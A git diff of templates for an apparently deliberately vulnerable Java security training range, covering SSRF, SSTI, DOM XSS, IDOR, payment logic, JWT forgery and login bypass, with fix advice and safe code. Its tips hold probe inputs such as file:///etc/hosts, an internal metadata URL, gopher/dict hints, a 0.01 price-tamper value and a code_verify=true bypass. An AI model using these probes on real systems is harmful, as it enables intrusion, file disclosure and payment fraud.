            构建产物中常见泄漏包括云AK/SK、Bucket、内部接口、SourceMap、调试开关和测试账号。发布前应进行密钥扫描,禁用生产SourceMap并轮换已暴露密钥。

            diff --git a/src/main/resources/templates/vul/infoleak/ping.html b/src/main/resources/templates/vul/infoleak/ping.html index bd51e27..e8f814d 100644 --- a/src/main/resources/templates/vul/infoleak/ping.html +++ b/src/main/resources/templates/vul/infoleak/ping.html @@ -2,14 +2,34 @@ 网络连通性测试 + -

            Ping 测试

            -
            - - - -
            -
            
            +

            Ping 测试页面

            +
            +

            漏洞场景:命令拼接

            +
            + + + +
            +
            
            +
            + +
            +

            安全场景:参数白名单 + ProcessBuilder参数数组

            +
            + + + +
            +
            
            +
            diff --git a/src/main/resources/templates/vul/logic/captcha/graphic.html b/src/main/resources/templates/vul/logic/captcha/graphic.html index 84b22e2..e61e150 100644 --- a/src/main/resources/templates/vul/logic/captcha/graphic.html +++ b/src/main/resources/templates/vul/logic/captcha/graphic.html @@ -15,8 +15,8 @@

            -

              在如今的各类系统中,验证码成为了常见的安全验证手段,然而验证码同样存在诸多安全问题,这里把验证码安全分成图形验证码安全、短信验证码安全
            -
              图形验证码安全:失效验证码、万能验证码、验证码可识别、验证码Dos(详见拒绝服务模块)
            +
              验证码用于提高自动化攻击成本,但它不是认证本身。验证码生成、校验、有效期、使用次数、失败处理和风控联动都必须在服务端完成。
            +
              图形验证码常见问题包括验证码复用、固定万能码、图片过于简单可被OCR识别、刷新/失败后未失效,以及验证码接口被滥用造成资源消耗。

            @@ -333,28 +333,6 @@

            安全代码

            common.formListenFun("vul3-graphic-button", "", "/logic/captcha/graphic/vul3", "vul3-graphic-result", "post"); common.formListenFun("safe-graphic-button", "", "/logic/captcha/graphic/safe", "safe-graphic-result", "post"); - form.on('submit(vul3-captcha-button)', function (data) { - $.ajax({ - type: 'POST', - url: '/logic/captcha/graphic/vul3', - data: data.field, - success: function (response) { - console.log(response) - if (response.code === 0) { - $("#vul3-captcha-result").text(response.msg); - } else { - $("#vul3-captcha-result").text(response.msg); - $(".admin-captcha").attr("src", "/logic/captcha/graphic/img?" + Math.random()); - } - }, - error: function () { - $("#vul3-captcha-result").text("请求失败,请重试!"); - $(".admin-captcha").attr("src", "/logic/captcha/graphic/img?" + Math.random()); - } - }); - return false; - }); - miniTab.listen(); layer.msg("其他漏洞-验证码安全"); diff --git a/src/main/resources/templates/vul/logic/captcha/sms.html b/src/main/resources/templates/vul/logic/captcha/sms.html index 4fa415b..fda9783 100644 --- a/src/main/resources/templates/vul/logic/captcha/sms.html +++ b/src/main/resources/templates/vul/logic/captcha/sms.html @@ -15,8 +15,8 @@

            -

              在如今的各类系统中,验证码成为了常见的安全验证手段,然而验证码同样存在诸多安全问题,这里把验证码安全分成图形验证码安全、短信验证码安全
            -
              短信验证码安全:验证码回显、验证码绕过、短信轰炸、验证码可控(条件有限,这里只做前两种漏洞演示)
            +
              短信验证码通常用于登录、找回密码和敏感操作确认,服务端必须绑定手机号、验证码、业务场景、有效期和使用次数。
            +
              本页演示验证码回显和验证码绕过;短信轰炸、验证码可控、跨场景复用等问题可作为后续扩展。

            @@ -62,7 +62,8 @@

            漏洞场景:验证码回显

            tips
            -
              验证码回显:由于系统错误配置或开发疏忽,导致短信验证码被直接回显在响应包中
            +
            问题点:
            +  短信验证码不应出现在响应体、前端日志或可被用户直接读取的位置;测试环境也应通过服务端日志或模拟通道隔离展示。
            @@ -132,7 +133,8 @@

            漏洞场景:验证码绕过

            tips
            -
              验证码绕过:通过Fuzz请求参数,添加code_verify=true即可绕过登录校验
            +
            问题点:
            +  服务端信任了客户端提交的 code_verify 参数,相当于让用户自己声明“验证码已通过”。验证码校验结果只能由服务端状态决定。
            @@ -189,15 +191,15 @@

            缺陷代码

            success: function (response) { console.log(response) if (response.code === 0) { - $("#vul1-getSMS-result").text(response.msg); + $("#vul1-sms-result").text(response.msg); layer.msg('验证码已发送,请查收', {icon: 1, offset: '10px'}); } else { - $("#vul1-getSMSa-result").text(response.msg); + $("#vul1-sms-result").text(response.msg); } }, error: function () { layer.msg('验证码发送失败,请检查', {icon: 2, offset: '10px'}); - $("#vul1-getSMS-result").text("请求失败,请重试!"); + $("#vul1-sms-result").text("请求失败,请重试!"); } }); return false; @@ -211,15 +213,15 @@

            缺陷代码

            success: function (response) { console.log(response) if (response.code === 0) { - $("#vul2-getSMS-result").text(response.msg); + $("#vul2-sms-result").text(response.msg); layer.msg('验证码已发送,请查收', {icon: 1, offset: '10px'}); } else { - $("#vul2-getSMSa-result").text(response.msg); + $("#vul2-sms-result").text(response.msg); } }, error: function () { layer.msg('验证码发送失败,请检查', {icon: 2, offset: '10px'}); - $("#vul2-getSMS-result").text("请求失败,请重试!"); + $("#vul2-sms-result").text("请求失败,请重试!"); } }); return false; diff --git a/src/main/resources/templates/vul/logic/concurrent/concurrent.html b/src/main/resources/templates/vul/logic/concurrent/concurrent.html new file mode 100644 index 0000000..d4ba59d --- /dev/null +++ b/src/main/resources/templates/vul/logic/concurrent/concurrent.html @@ -0,0 +1,228 @@ + + + +
            + + + +
            +
            +
            +
            +
            + 逻辑漏洞 - 并发安全 +
            +
              并发安全问题通常发生在库存、余额、订单、优惠券等共享资源读写过程中。多个请求同时执行时,如果校验、扣减和状态更新不是一个原子操作,就可能出现重复扣款、超卖、重复领取或状态覆盖。
            +
            +
            +
            + +
            + +
            + +
            +
            +
            +

            漏洞场景:竞态条件重复支付

            +
            +
            +
            +
            +
            +
            + 订单ID:  + 金额:  +
            +
            + +
            +
            +
            +
            + +
            +
            +
            tips
            +
            +
            同一订单会同时发送 3 个支付请求。漏洞接口没有订单幂等校验,也没有把余额读取和写回放入同一个临界区,因此可能出现重复扣款或余额结果不一致。
            +
            +
            +
            + +
            +
            +
            测试结果
            +
            +
            
            +                                        
            +
            +
            +
            +
            +
            + +
            +

            缺陷代码

            +
            +
            +
            +
            +
            +
            + +
            +
            +
            +

            安全场景:加锁与幂等校验

            +
            +
            +
            +
            +
            +
            + 订单ID:  + 金额:  +
            +
            + +
            +
            +
            +
            + +
            +
            +
            tips
            +
            +
            安全接口在服务端使用订单幂等集合和同步锁保护临界区,同一订单只能扣款一次;真实业务还应配合数据库唯一索引、事务隔离、乐观锁或分布式锁。
            +
            +
            +
            + +
            +
            +
            测试结果
            +
            +
            
            +                                        
            +
            +
            +
            +
            +
            + +
            +

            安全代码

            +
            +
            +
            +
            +
            +
            +
            +
            +
            + +
            + + + diff --git a/src/main/resources/templates/vul/logic/idor/horizontal.html b/src/main/resources/templates/vul/logic/idor/horizontal.html index f5e462c..1512aaa 100644 --- a/src/main/resources/templates/vul/logic/idor/horizontal.html +++ b/src/main/resources/templates/vul/logic/idor/horizontal.html @@ -16,8 +16,8 @@

            -

              IDOR(不安全的直接对象引用):通过修改请求中的对象标识符(如用户ID、文件名)绕过授权检查,访问或操作本不属于自己的资源
            -
              水平越权:攻击者通过修改请求中的标识符(如用户ID)访问同级别的其他用户资源,绕过权限控制
            +
              IDOR(不安全的直接对象引用):服务端把用户可控的对象标识符直接用于查询或操作资源,但没有校验该资源是否属于当前登录用户。
            +
              水平越权:低权限差异不明显的同级用户之间,通过修改用户名、用户ID、订单ID、文件名等标识访问他人资源。

            @@ -50,7 +50,10 @@

            漏洞场景:水平遍历用户信息
            tips
            -
            涉及权限处:cookie,url和post处id类名,功能点,文件名都可能存在越权漏洞
            +
            问题点:
            +  1、接口直接信任请求参数中的 username,没有校验资源归属。
            +  2、URL、POST参数、Cookie、Header、文件名、订单号等对象标识都可能成为越权入口。
            +  3、返回密码等敏感字段会进一步扩大越权影响。

            @@ -107,10 +110,10 @@

            安全场景:验证Session

            tips
            -
            安全编码规范:
            -  1、从可信存储获取账号信息:账号信息应从可信来源获取,如Session、JWT Token或OAuth Token,避免从不可信的请求参数、Cookie中直接提取用户身份信息
            -  2、使用不可推测的标识符:避免使用容易预测的标识符(如自增ID),使用不可推测的标识符(如UUID、随机字符串)来防止越权访问
            -  3、最小权限原则:每个用户或进程应仅拥有其完成任务所需的最小权限,避免授予不必要的权限或过多的权限
            +
            安全编码建议:
            +  1、当前用户身份从 Session、JWT、OAuth Token 等可信上下文获取,不从请求参数决定。
            +  2、每次读取或修改资源前,都校验资源 owner 与当前用户是否匹配。
            +  3、不可预测ID只能降低枚举概率,不能替代服务端授权校验。

            diff --git a/src/main/resources/templates/vul/logic/idor/vertical.html b/src/main/resources/templates/vul/logic/idor/vertical.html index 34680f0..8114e12 100644 --- a/src/main/resources/templates/vul/logic/idor/vertical.html +++ b/src/main/resources/templates/vul/logic/idor/vertical.html @@ -17,7 +17,7 @@

              IDOR(不安全的直接对象引用):通过修改请求中的对象标识符(如用户ID、文件名)绕过授权检查,访问或操作本不属于自己的资源
            -
              垂直越权:通过修改请求中的标识符(用户ID、角色标识等)访问权限更高或更低的资源,绕过权限限制
            +
              垂直越权:低权限用户绕过服务端角色校验,访问原本只允许管理员或高权限角色使用的功能。

            @@ -31,7 +31,7 @@

            漏洞场景:垂直越权管理员

            @@ -69,10 +81,6 @@

            缺陷代码

            form = layui.form, upload = layui.upload; - common.formListenFun("vul-horizontal-button", "", "/logic/idor/getUserInfo", "vul-horizontal-result", "get"); - common.formListenFun("safe-horizontal-button", "", "/logic/idor/safe", "safe-horizontal-result", "get"); - - miniTab.listen(); layer.msg("其他漏洞-垂直越权"); @@ -87,19 +95,7 @@

            缺陷代码

            mode: "text/x-java" }; - var cmConfigSafe = { - lineNumbers: true, - lineWrapping: false, - indentUnit: 4, - indentWithTabs: true, - theme: 'juejinsafe', - styleActiveLine: {nonEmpty: true}, - fontSize: "18px", - mode: "text/x-java" - }; - - CodeMirror(document.getElementById("vulHorizon"), Object.assign({}, cmConfig, { value: vulHorizon })); - CodeMirror(document.getElementById("safeHorizon"), Object.assign({}, cmConfigSafe, { value: safeHorizon })); + CodeMirror(document.getElementById("vulHorizon"), Object.assign({}, cmConfig, { value: vulVertical })); $('.idor').hover(function () { $(this).css('cursor', 'pointer'); diff --git a/src/main/resources/templates/vul/logic/pay/pay.html b/src/main/resources/templates/vul/logic/pay/pay.html new file mode 100644 index 0000000..79a7ca3 --- /dev/null +++ b/src/main/resources/templates/vul/logic/pay/pay.html @@ -0,0 +1,574 @@ + + +
            + + +
            +
            +
            +
            +
            + + 逻辑漏洞 - 支付漏洞 + +
            +
            +
            +
              支付系统中的逻辑漏洞可能导致严重的经济损失。常见的支付漏洞包括:支付金额篡改、订单重放攻击、竞态条件、支付流程绕过、整数溢出和浮点数精度问题等。
            +
              这些漏洞可能使攻击者以低于正常价格购买商品,重复使用同一订单,或完全绕过支付流程。此场景中余额为1000元,点击右侧按钮可进行余额重置。
            +
            + +
            +
            +
            +
            + + +
            +
            +
            +

            漏洞场景:支付金额参数篡改

            + +
            +
            +
            +
            +
            +
            + 商品数量:  + + 商品单价:  + +
            +
            + +
            +
            +
            +
            + +
            +
            +
            tips
            +
            +
              支付金额参数篡改:由于未对客户端传入的价格参数进行验证,攻击者可以修改支付金额。尝试修改商品单价为更低的值(如0.01)进行支付。
            +
            +
            +
            + +
            +
            +
            测试结果 +
            +
            +
            
            +                                        
            +
            +
            +
            +
            +
            + +
            +

            缺陷代码

            +
            +
            +
            +
            +
            +
            + + +
            +
            +
            +

            漏洞场景:订单重放攻击

            +
            +
            +
            +
            +
            +
            + 订单ID:  + 订单金额:  +
            +
            + +
            +
            +
            +
            + +
            +
            +
            tips
            +
            +
              订单重放攻击:由于未对订单是否重复支付进行验证,攻击者可以重复发送相同的支付请求。尝试多次点击支付按钮,观察是否可以重复扣款。
            +
            +
            +
            + +
            +
            +
            测试结果 +
            +
            +
            
            +                                        
            +
            +
            +
            +
            +
            + +
            +

            缺陷代码

            +
            +
            +
            +
            +
            +
            + +
            +
            +
            +

            漏洞场景:竞态条件漏洞

            +
            +
            +
            +
            +
            +
            + 订单ID:  + 支付金额:  +
            +
            + +
            +
            +
            +
            + +
            +
            +
            tips
            +
            +
              竞态条件:当多个请求同时处理时,由于并发控制不当,可能导致余额计算错误。尝试点击"模拟并发支付"按钮,系统会同时发送多个相同的支付请求。
            +
            +
            +
            + +
            +
            +
            测试结果 +
            +
            +
            
            +                                        
            +
            +
            +
            +
            +
            + +
            +

            缺陷代码

            +
            +
            +
            +
            +
            +
            + + +
            +
            +
            +

            漏洞场景:支付流程绕过

            + +
            +
            +
            +
            +
            +
            + 订单ID:  + +
            +
            + +
            +
            +
            + +
            +
            +
            + 订单ID:  +
            +
            + +
            +
            +
            + +
            +
            +
            + 订单ID:  + +
            +
            + +
            +
            +
            +
            + +
            +
            +
            tips
            +
            +
              支付流程绕过:由于状态校验不完整,攻击者可能绕过支付流程直接修改订单状态。尝试创建订单后,直接发送支付通知,而不进行实际支付。
            +
            +
            +
            + +
            +
            +
            测试结果 +
            +
            +
            
            +                                        
            +
            +
            +
            +
            +
            + +
            +

            缺陷代码

            +
            +
            +
            +
            +
            +
            + + +
            +
            +
            +

            漏洞场景:整数溢出漏洞

            +
            +
            +
            +
            +
            +
            + 商品数量:  + 商品单价:  +
            +
            + +
            +
            +
            +
            + +
            +
            +
            tips
            +
            +
              整数溢出漏洞:当count或price数值过大时,可能会导致整数溢出。尝试输入非常大的数值,如数量设置为2147483647,单价设置为10,或者其他可能导致溢出的组合。
            +
            +
            +
            + +
            +
            +
            测试结果 +
            +
            +
            
            +                                        
            +
            +
            +
            +
            +
            + +
            +

            缺陷代码

            +
            +
            +
            +
            +
            +
            + + +
            +
            +
            +

            漏洞场景:浮点数精度漏洞

            +
            +
            +
            +
            +
            +
            + 商品数量:  + 商品单价:  +
            +
            + +
            +
            +
            +
            + +
            +
            +
            tips
            +
            +
              浮点数精度漏洞:金额如果先用 double 计算再转成 BigDecimal,可能出现 0.1 * 0.2 = 0.020000000000000004 这类精度误差。金额计算应使用 BigDecimal(String) 并统一舍入规则。
            +
            +
            +
            + +
            +
            +
            测试结果 +
            +
            +
            
            +                                        
            +
            +
            +
            +
            +
            + +
            +

            缺陷代码

            +
            +
            +
            +
            +
            +
            + +
            +
            +
            + +
            + + + + diff --git a/src/main/resources/templates/vul/loginconfront/account.html b/src/main/resources/templates/vul/loginconfront/account.html index ad314b2..a87e4e7 100644 --- a/src/main/resources/templates/vul/loginconfront/account.html +++ b/src/main/resources/templates/vul/loginconfront/account.html @@ -12,7 +12,7 @@

            -

              这里以用户名枚举、弱口令为例,验证码等相关问题详见逻辑漏洞模块
            +
              这里以用户名枚举、弱口令为例,演示认证阶段信息暴露和口令强度不足带来的账号接管风险。验证码等相关问题详见逻辑漏洞模块。

            @@ -53,7 +53,7 @@

            漏洞场景:用户名枚举

            tips
            -
              这里以本项目中Spring Security配置为例,实现UserDetailsService需要重写loadUserByUsername方法,return返回的内容如果是"用户名不存在",则攻击者可以根据返回内容进行枚举用户名,根据存活用户名进行下一步密码爆破
            +
              登录失败时分别返回“用户不存在”和“密码错误”,会暴露账号是否存在。攻击者可先枚举有效用户名,再对有效账号做密码爆破。修复时应统一失败提示、控制登录频率,并记录异常登录行为。
            @@ -118,7 +118,7 @@

            漏洞场景:弱口令问题

            tips
            -
              尽管现代Web应用采用了多种安全架构、编码规范和框架,并部署了防火墙、IDS/IPS等安全防护措施,弱口令(如测试账号、默认密码、常见密码)依然是一个普遍的安全隐患。攻击者可以通过简单的暴力破解或字典(社工收集)攻击轻松突破认证。事实上,许多攻防演练的突破口仍然集中在弱口令……
            +
              弱口令是认证体系中最常见的低成本突破口。默认密码、测试账号密码、常见字典口令会被自动化工具快速命中。修复时应启用强密码策略、默认口令强制修改、泄露密码库检测、多因素认证和登录失败限速。
            diff --git a/src/main/resources/templates/vul/loginconfront/bypass.html b/src/main/resources/templates/vul/loginconfront/bypass.html index 6a9ef33..4f7579b 100644 --- a/src/main/resources/templates/vul/loginconfront/bypass.html +++ b/src/main/resources/templates/vul/loginconfront/bypass.html @@ -12,7 +12,7 @@

            -

              这里以修改响应包绕过、密码重置步骤绕过场景为例
            +
              这里以修改响应包绕过、密码重置步骤绕过为例,演示认证流程中将关键判断交给客户端或缺少服务端状态校验造成的绕过风险。

            @@ -53,7 +53,7 @@

            漏洞场景:修改响应包绕过
            tips
            -
              在前后端分离架构中(如RESTful风格),前端通常通过调用后端API来验证用户登录状态。后端接口返回状态码(200、500)或结果字段(error、success)直接决定前端的后续操作。当后端逻辑中直接信任客户端传递的状态码或响应结果,攻击者可以通过修改API响应包(error->success,500->200)来绕过登录校验,伪造成功状态
            +
              如果前端仅根据接口响应字段进入下一步,而后端后续接口又信任这个客户端状态,攻击者可通过抓包把失败响应改成成功响应,诱导前端继续调用敏感接口。修复时必须在服务端保存并校验认证状态,不能把登录成功与否交给前端决定。

            @@ -106,7 +106,7 @@

            漏洞场景:密码重置步骤绕过
            tips
            -
              由于前端通过step参数控制流程,可以通过抓包工具拦截请求并直接修改step的值,从而绕过旧密码校验的步骤,直接进入设置新密码的阶段,核心问题在于流程的关键验证依赖于前端,而不是在后端进行严格的状态管理与校验
            +
              多步骤流程只在前端切换页面状态,后端第三步接口未校验当前会话是否已经完成用户名和旧密码验证。攻击者可直接调用设置新密码接口完成重置。修复时应在服务端维护流程状态,并在每一步校验前置步骤、用户身份和一次性令牌。

            diff --git a/src/main/resources/templates/vul/loginconfront/credential.html b/src/main/resources/templates/vul/loginconfront/credential.html index 177aa13..d4e034f 100644 --- a/src/main/resources/templates/vul/loginconfront/credential.html +++ b/src/main/resources/templates/vul/loginconfront/credential.html @@ -12,7 +12,7 @@

            -

              这里以用户名枚举、弱口令为例,验证码等相关问题详见逻辑漏洞模块
            +
              这里以JWT声明伪造为例,演示令牌签名密钥固定、权限声明可控和服务端过度信任令牌内容带来的凭证安全风险。

            @@ -21,25 +21,28 @@
            -

            漏洞场景:Cookie伪造

            +

            漏洞场景:JWT伪造

            - -
            + + 生成JWT + + +
            @@ -53,7 +56,7 @@

            漏洞场景:Cookie伪造

            tips
            -
              这里以本项目中Spring Security配置为例,实现UserDetailsService需要重写loadUserByUsername方法,return返回的内容如果是"用户名不存在",则攻击者可以根据返回内容进行枚举用户名,根据存活用户名进行下一步密码爆破
            +
              JWT一旦签名密钥泄露、过弱或长期固定,攻击者可构造带有高权限role声明的令牌并通过服务端验签。修复时应使用足够强度的密钥并妥善保管,校验iss、aud、exp等关键声明,服务端权限以可信数据源为准,不应只相信客户端提交的role。
            @@ -63,7 +66,7 @@

            漏洞场景:Cookie伪造

            测试结果
            -
            
                                                     
            @@ -76,7 +79,7 @@

            漏洞场景:Cookie伪造

            缺陷代码

            -
            +
            @@ -99,10 +102,29 @@

            缺陷代码

            common = layui.common, form = layui.form; miniTab.listen(); - layer.msg("登录对抗 - 账号安全") - - common.formListenFun("vul1-account-button", "", "/loginconfront/account/vul1", "vul1-account-result", "post"); - common.formListenFun("vul2-account-button", "", "/loginconfront/account/vul2", "vul2-account-result", "post"); + layer.msg("登录对抗 - 凭证安全") + + // common.formListenFun("vul1-account-button", "", "/loginconfront/account/vul1", "vul1-account-result", "post"); + // common.formListenFun("vul2-account-button", "", "/loginconfront/account/vul2", "vul2-account-result", "post"); + + + form.on('submit(vul1-credential-button)', function (data) { + const jwtValue = $("input[name='jwt']").val(); // 获取输入框的值 + $.ajax({ + url: "/loginconfront/credential/vul1", // 发送到正确的后端接口 + type: "get", + headers: { + 'Auth_Token': jwtValue // 将 JWT 值设置到 Auth_Token 请求头中 + }, + success: function (result) { + $("#vul1-credential-result").text(result.msg); // 显示返回信息 + }, + error: function () { + $("#vul1-credential-result").text("请求发送失败!"); + } + }); + return false; + }) var cmConfig = { @@ -116,11 +138,8 @@

            缺陷代码

            mode: "text/x-java" }; - CodeMirror(document.getElementById("vul1Account"), Object.assign({}, cmConfig, { - value: vul1Account - })); - CodeMirror(document.getElementById("vul2Account"), Object.assign({}, cmConfig, { - value: vul2Account + CodeMirror(document.getElementById("vul1Credential"), Object.assign({}, cmConfig, { + value: vul1Credential })); }); diff --git a/src/main/resources/templates/vul/loginconfront/resetpass.html b/src/main/resources/templates/vul/loginconfront/resetpass.html index 047f54d..201f0a2 100644 --- a/src/main/resources/templates/vul/loginconfront/resetpass.html +++ b/src/main/resources/templates/vul/loginconfront/resetpass.html @@ -4,7 +4,7 @@ 密码重置步骤绕过场景 - +
            @@ -12,8 +56,8 @@
            -
              服务端请求伪造:服务端提供了从其他服务器获取数据的功能,但没有对目标地址进行过滤和限制,攻击者可以传入任意URL,使服务器请求并返回数据,访问或操纵敏感资源。
            -
              漏洞场景:网络请求功能(如在线识图、文档翻译、分享、订阅等)、请求远程服务器资源(如远程URL上传、静态资源图片等)、数据库内置功能(如MongoDB的copyDatabase)、文件处理工具(如ImageMagick、XML处理)、从URL关键字(如source、share、link、src、imageurl、target)中寻找的功能
            +
              SSRF:服务端把用户可控的 URL、主机名或资源地址用于发起网络请求,且未限制协议、目标主机、解析后的 IP 和跳转链路,攻击者可借服务端网络身份访问内网服务、云元数据、管理端口、本地文件或第三方资源。
            +
              常见入口:远程图片/附件抓取、Webhook、URL 预览、文档转换、订阅源、代理下载、XML/图片处理、数据库或中间件的外连功能,以及 source、share、link、src、imageUrl、target 等参数。
            @@ -21,17 +65,37 @@
            -

            漏洞场景:原生漏洞场景

            +

            + 漏洞场景:原生漏洞场景 + + 流量分析 + +

            +
            -
            -

            可尝试使用file、http(s)、dict、gopher等协议进行测试

            - - - +
            +

            可尝试使用 file、http(s)、dict、gopher 等协议进行测试

            +
            @@ -39,9 +103,12 @@

            漏洞场景:原生漏洞场景
            tips
            -
            代码审计SINK点:
            -    URL、HttpClient、OkHttpURLConnection、Socket、ImageIO、DriverManager.getConnection、SimpleDriverDataSource.getConnection、HttpURLConnection、RestTemplate、URLConnection、WebClient、JNDI
            -Linux:file:///etc/hosts Windows:file:///C:\windows\win.ini
            +
            代码审计 SINK 点:
            +  URL、URLConnection、HttpURLConnection、HttpClient、OkHttp、RestTemplate、WebClient、Socket、ImageIO、JNDI、DriverManager.getConnection
            +  Linux:file:///etc/hosts
            +  Windows:file:///C:\windows\win.ini
            +  内网HTTP:http://127.0.0.1/ssrf/internal/metadata
            +  跳转链:http://127.0.0.1/ssrf/redirect?target=http://127.0.0.1/ssrf/internal/metadata

            @@ -51,7 +118,9 @@

            漏洞场景:原生漏洞场景
            -

            缺陷代码

            +

            + 缺陷代码 +

            @@ -62,17 +131,34 @@

            缺陷代码

            -

            安全场景:限制协议、白名单

            +

            安全场景:协议、域名与 IP 校验

            -
            -

            限制http(s)协议、请求白名单(baidu.com、whgojp.top)

            - - - +
            +

            限制 http(s) 协议、白名单域名,并校验域名解析后的 IP

            +
            @@ -81,11 +167,11 @@

            安全场景:限制协议、白名单<
            tips
            安全编码建议:
            -    1、URL做白名单处理,域名识别IP,过滤内网IP
            -    2、校验返回的内容是否与预期一致
            -    3、禁止302跳转,或每跳转一次都进行校验目的地址是否为内网地址或合法地址。
            -    4、禁用高危协议:gopher、dict、file、ftp、file等,只允许http/https
            -项目主要关注的是漏洞的产生与修复,关于攻击绕过手法(@等分隔符、本地回环地址、短网址、DNS重绑定、八(十六)进制),这里就不再展开……
            + 1、优先使用业务枚举或服务端映射,不直接让用户提交完整 URL。 + 2、只允许 http/https,拒绝 file、gopher、dict、ftp、jar、ldap 等高危协议。 + 3、域名白名单校验后,还要解析所有 IP 并拦截内网、回环、链路本地、组播等地址。 + 4、禁用自动 30x 跳转;如必须跟随跳转,每一跳都重新执行协议、域名和 IP 校验。 + 5、设置连接/读取超时、限制响应大小,并校验返回内容是否符合业务预期。

            @@ -122,7 +208,7 @@

            安全代码

            indentUnit: 4, indentWithTabs: true, theme: 'juejin', - styleActiveLine: { nonEmpty: true }, + styleActiveLine: {nonEmpty: true}, fontSize: "18px", mode: "text/x-java" }; @@ -133,7 +219,7 @@

            安全代码

            indentUnit: 4, indentWithTabs: true, theme: 'juejinsafe', - styleActiveLine: { nonEmpty: true }, + styleActiveLine: {nonEmpty: true}, fontSize: "18px", mode: "text/x-java" }; diff --git a/src/main/resources/templates/vul/ssti/ssti.html b/src/main/resources/templates/vul/ssti/ssti.html index f03995e..6fc11ee 100644 --- a/src/main/resources/templates/vul/ssti/ssti.html +++ b/src/main/resources/templates/vul/ssti/ssti.html @@ -12,8 +12,8 @@

            -

              SSTI(Server Side Template Injection):模板引擎是一种通过将模板中的占位符替换为实际数据来动态生成内容的工具,如HTML页面、邮件等。它简化了视图层的设计,但如果未对用户输入进行有效校验,可能导致安全风险如任意代码执行
            -
              Java中常用的模板引擎有Freemarker、Velocity、Thymeleaf等,在这里以Thymeleaf引擎为例
            +
              SSTI(Server Side Template Injection) 是不可信输入进入服务端模板解析上下文后,被模板引擎当作模板语法执行的问题。风险不只来自页面变量输出,也可能来自视图名、模板片段名、模板内容、邮件模板和报表模板等动态渲染入口。
            +
              本模块以 Thymeleaf 为例,重点演示 Spring MVC 返回视图名可控、URL 路径参数拼接进视图名两类触发方式。修复时应避免用户控制模板名或模板内容,确需动态选择模板时使用固定映射或白名单,并用 HttpServletResponse/@ResponseBody 等方式明确跳过视图解析。

            @@ -21,7 +21,22 @@
            -

            漏洞场景:thymeleaf模版注入

            +

            + 漏洞场景:thymeleaf模版注入 + + + + + + + +

            +

            - hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。当其作为可控参数传入eval()时则会存在DOM型XSS漏洞。 + hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。当其作为可控参数进入 location.href、innerHTML、eval() 等危险 Sink 时,可能产生DOM型XSS漏洞。 通过 location.hash 的方式,将参数写在 # 号后,既能让JS读取到该参数, - 又不让该参数传入到服务器,从而避免了WAF的检测。 + 又不让该参数传入到服务器,因此服务端日志或部分网关/WAF可能看不到这段载荷。

            变量hash作为可控部分,并带入url中,变量hash控制的是#之后的部分, @@ -38,4 +38,4 @@

            Dom型XSS-href跳转demo

            } - \ No newline at end of file + diff --git a/src/main/resources/templates/vul/xss/dom.html b/src/main/resources/templates/vul/xss/dom.html index 0e8dcc9..37f4da4 100644 --- a/src/main/resources/templates/vul/xss/dom.html +++ b/src/main/resources/templates/vul/xss/dom.html @@ -12,7 +12,7 @@
              DOM(Document Object Model)即文档对象模型,是HTML和XML文档的编程接口
            -
              DOM型XSS:攻击者利用客户端的DOM环境,通过操纵页面的DOM元素来注入和执行恶意脚本。该攻击不经过服务器和数据库
            +
              DOM型XSS:不可信数据在客户端JavaScript中流向危险DOM Sink,例如innerHTML、document.write、location、eval等,最终被浏览器解析执行。典型载荷可来自location.hash、location.search、localStorage、postMessage等;其中hash场景通常不会发送到服务器,但DOM XSS并不等于“绝对不经过服务端”,关键判断点是漏洞触发和危险写入发生在客户端。
            @@ -25,6 +25,9 @@

            漏洞场景:多种代码场景innerHTML
          • LocalStorage
          • href跳转
          • +
          • location对象
          • +
          • eval执行
          • +
          • document对象
          • @@ -70,7 +73,7 @@

            漏洞场景:多种代码场景123" placeholder="请求内容" autocomplete="off" class="layui-input" id="vul3-dom-raw-input"> -

            从LocalStorage中读取数据并插入到DOM中

            +

            从LocalStorage中读取并插入到DOM中

            + + +

            + + +
            +
            +
            +
            +
            + +
            +
            +
            + +
            +
            +
            +
            + + +
            +
            +
            +
            +
            + +
            +
            +
            + + +
            +
            +
            +
            +
            tips
            -
            一些可能导致DOM XSS的SINK点:
            -    document.write()
            -    document.writeln()
            -    document.domain
            -    element.innerHTML
            -    element.outerHTML
            -    element.insertAdjacentHTML
            -    element.onevent
            -PS:除此之外,还有URL参数注入、DOM属性注入、document.write、eval等场景,后续会进行补充
            -
            +
              DOM XSS可以按“Source -> Sink”审计:
            +  常见Source:location.href、location.search、location.hash、document.referrer、localStorage、sessionStorage、postMessage消息、WebSocket消息
            +  常见Sink:document.write()、element.innerHTML、element.outerHTML、insertAdjacentHTML()、事件属性、location跳转、eval()、Function()、setTimeout字符串参数
            @@ -145,6 +205,112 @@

            缺陷代码

            +
            +
            +
            +

            安全场景:按上下文安全写入

            +
            +
              +
            • 文本输出
            • +
            • URL跳转
            • +
            • 替代eval
            • +
            • DOM API
            • +
            +
            +
            +
            +
            + + +
            +
            +
            + +
            +
            +
            + + +
            +
            +
            + +
            +
            +
            + + +
            +
            +
            + +
            +
            +
            + + +
            +
            +
            + +
            +
            +
            tips
            +
            +
            DOM XSS修复重点:
            +  1. 普通文本输出使用textContent、innerText或createTextNode,不要使用innerHTML
            +  2. URL跳转前校验协议和目标域名,拒绝javascript:、data:等危险协议
            +  3. 不要把用户输入交给eval、Function、setTimeout字符串参数执行
            +  4. 需要展示富文本时,使用白名单HTML净化库,再按业务允许的标签和属性渲染
            +
            +
            +
            + +
            +
            +
            测试结果
            +
            +
            
            +                                        
            +
            +
            +
            +
            +
            + +
            +

            安全代码

            +
            +
            +
            +
            +
            + +
            +
            +
            @@ -211,6 +377,52 @@

            缺陷代码

            CodeMirror(document.getElementById("vul1DomRaw"), Object.assign({}, cmConfig, { value: vul1DomRaw })); + CodeMirror(document.getElementById("safeDomCode"), Object.assign({}, cmConfig, { + theme: 'juejinsafe', + value: safeDomCode + })); + + form.on('submit(safe-dom-text)', function (data) { + document.getElementById('safe-dom-result').textContent = data.field.safeTextPayload; + return false; + }); + + form.on('submit(safe-dom-url)', function (data) { + var rawUrl = data.field.safeUrlPayload; + try { + var url = new URL(rawUrl, window.location.origin); + var allowedProtocols = ['http:', 'https:']; + if (allowedProtocols.indexOf(url.protocol) === -1) { + document.getElementById('safe-dom-result').textContent = '已拦截危险协议:' + url.protocol; + return false; + } + document.getElementById('safe-dom-result').textContent = 'URL校验通过:' + url.href; + } catch (e) { + document.getElementById('safe-dom-result').textContent = 'URL格式非法:' + e.message; + } + return false; + }); + + 